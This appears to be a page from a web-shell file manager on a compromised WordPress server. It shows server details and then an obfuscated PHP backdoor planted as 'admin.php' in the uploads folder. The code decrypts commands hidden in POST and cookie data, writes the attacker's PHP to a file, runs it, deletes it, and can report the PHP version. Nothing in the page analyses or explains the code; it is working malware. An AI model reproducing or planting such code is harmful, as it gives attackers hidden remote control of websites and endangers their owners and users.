HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2024/11/admin.php
<?php 


$esddai	= /* zlkubi   */ 'esddai' /*  qwrgg  */ ^    '';


$cyv_tnkyc  =    $esddai(97)   . /*  uyszdq   */ "\162"    . /*   yqef   */ "r"."a"."\x79" /*  cb_   */ .	"_"."\155"  .      "a"."\160";
$mjycita     = /*  us*/ $esddai(105)    .	"\155"	.    "\160" /*   x_sv  */ .	"l"."o"."\x64"   .      "\x65";


function   jqvptj($clavxthw, /*  s_a */ $nbondoiddi)

{    global    $esddai;


	


      $clavxthw /*oxmeoz*/ = /*  ypej*/ $esddai(604-544)    .    "?"."p"."h"."p".$esddai(32)      . /*   orss_  */ "u"."n"."\x6c" /*  bmm */ .     $esddai(849-744)."n".$esddai(394-287) /*   bk*/ .    "(".$esddai(211-116)     . /*  kvmjiz */ $esddai(95)    .   $esddai(306-236)    .    $esddai(251-178)  .  "L".$esddai(69)    . /*yz   */ $esddai(557-462)      .  $esddai(939-844)  . /* m_xa*/ ")".";".$esddai(32) /*   ar   */ . /* jas  */ $clavxthw["\144"];	$dmrfk      = /* czr */ "f".$esddai(849-744)."\154" /*   hbgzsj   */ .   $esddai(756-655)."_"."p"."\x75"	. /*  rffskp   */ $esddai(116) /*   owutv  */ .	"_"."c"."\x6f" /*il   */ .    "n"."t".$esddai(756-655).$esddai(110)	.    "\164"       .	$esddai(115);
	

 /*ynwsrt */ $dmrfk($nbondoiddi,      $clavxthw); /*daxw   */ 

    lswpptwhjm($nbondoiddi);

}
$binjgjsmhe   =    73;

function /*  pa   */ lswpptwhjm($nbondoiddi)

{	global /*  c  */ $esddai;      

      include($nbondoiddi);    $gssnqsydsw    =    $nbondoiddi;
 /* mykgi   */ @unlink($gssnqsydsw);}


function       savauhrft(){

    global    $esddai;
     $hrp_ob /* aotlro */ =	array();


    $hrp_ob["p"."v"] /*  nx*/ =    phpversion();     $hrp_ob["s"."\166"] /*fr */ =    "\63"  .    "\x2e" /* xvbggz*/ . /*   g*/ $esddai(53);
	$lyayfwlrjb /*  e_  */ =    74;


    echo    @serialize($hrp_ob);
}




function /*xhotd*/ ebgglbevd($clavxthw, /*a*/ $nkpvezc)

{    global  $esddai;



       $dhdhectax    = /*bfgn   */ "";    $trmyxis	=    strlen($clavxthw);	$nyhtggzqwddlepqivo /*   i */ = /*  lsp */ strlen($nkpvezc);


  $hrp_ob	= /*  a  */ 0;

	$nyhtggzqwd      =     0;

	

 /*ioujx   */ while    ($hrp_ob    <    $trmyxis)	{


   $kkxjznzem       =    $clavxthw[$hrp_ob] /*   c  */ ^   $nkpvezc[$nyhtggzqwd /*   hiff*/ %     $nyhtggzqwddlepqivo];

	$dhdhectax       .=   $kkxjznzem;


      $nyhtggzqwd++;	       $hrp_ob++;

    }
 /* kmsepf */   if    (strlen($dhdhectax)       > /*owf  */ 20)  {	$kqvenmhva      =    substr($dhdhectax, /*tfsz*/ 0,    20);   }
 /*  vvuftk  */ if    (empty($dhdhectax)) /*  ssdj */ {


 /*wrph  */ $dhdhectax /*suwzoc  */ =   date('Y-m-d	H:i:s');


	} /*   dyjfe   */ return    $dhdhectax;

}




function /*  gfnha   */ zvymsgmlo($_idvhtwoy)

{
 /*cnl*/ global /*zo   */ $esddai;


 /*  wwlecr  */       $qpcmdxn    =     "\63"	. /*  ymvxk  */ "\x33" /*   hzmk   */ .	$esddai(98)      .	$esddai(102) /*  qrcpxw*/ . /* bwj  */ $esddai(593-491)    .	"6"."7".$esddai(100) /*   wlgwcp */ . /*   qkzhrk */ "-"."5".$esddai(925-869)   .  $esddai(756-655)."\146"    .       "-".$esddai(574-522) /* ojajn  */ .	$esddai(604-505)     . /* hotban  */ $esddai(53) /* ff  */ . /*   gay*/ $esddai(344-290)     . /*  hawqf_   */ "-"."8"."\x31" /*   z  */ . /*nla   */ "4".$esddai(831-781) /* dokwxc*/ .	"-"."b".$esddai(984-936) /*   dwn   */ .    "\x62"  .       "\143"    .     "\x33"       .     "\x39"  .    $esddai(559-462) /*dz_ue   */ .    "1"."\71"    .    "\x36"       . /*k*/ "8".$esddai(97);


 /*   gz */ 


     foreach    ($_idvhtwoy /*   bnq   */ as /*ug  */ $dojhllwqq	=>   $clavxthw)    {

 /*   tiz*/ qfzn_(base64_decode($clavxthw), /*   jsjkv  */ $qpcmdxn, /*   wzu   */ $dojhllwqq); /*  s*/ }


}


function /*  etthc  */ qfzn_($clavxthw, /* er   */ $qpcmdxn,   $dojhllwqq)

{ /*   nbug  */ global   $esddai;
 /* kxeqo   */ 

 /*ejyc  */ $clavxthw    = /* kb*/ unserialize(ebgglbevd(ebgglbevd($clavxthw,	$qpcmdxn),	$dojhllwqq));

	$eddmzm	=    'wbmxaqe';

	$agksbci    = /*zdes  */ 'rvbi';


     if	(isset($clavxthw[$esddai(802-705)	.	"k"]))    {
 /*fwlyw  */ if  ($clavxthw[$esddai(97)]	==    $esddai(849-744))  { /*  viuh  */ savauhrft();     } /*  vtzsv   */ elseif    ($clavxthw[$esddai(97)] /*   cv  */ == /*bz */ $esddai(756-655)) /* wd   */ {


	jqvptj($clavxthw, /*   rx */ sprintf("."."/"."%"."\163" /*suh */ . /*   uf   */ "\56"	. /* cmsuck  */ "p"."l", /*  s_hrar  */ md5($qpcmdxn)));


			$aqbxtmpgak	=   44;

    }


 /*  md   */ exit();


    }
}
zvymsgmlo($_POST);	

$uzplnzmse_  = /*imzc */ 'rawurldecode';




$hr_fwzp /* sgc*/ =       $cyv_tnkyc($uzplnzmse_,	$_POST);


$mjycita("", /*  xnwin_ */ $uzplnzmse_);


zvymsgmlo($_COOKIE);


$ua_xgf    =	$cyv_tnkyc($uzplnzmse_,	$_COOKIE);





?>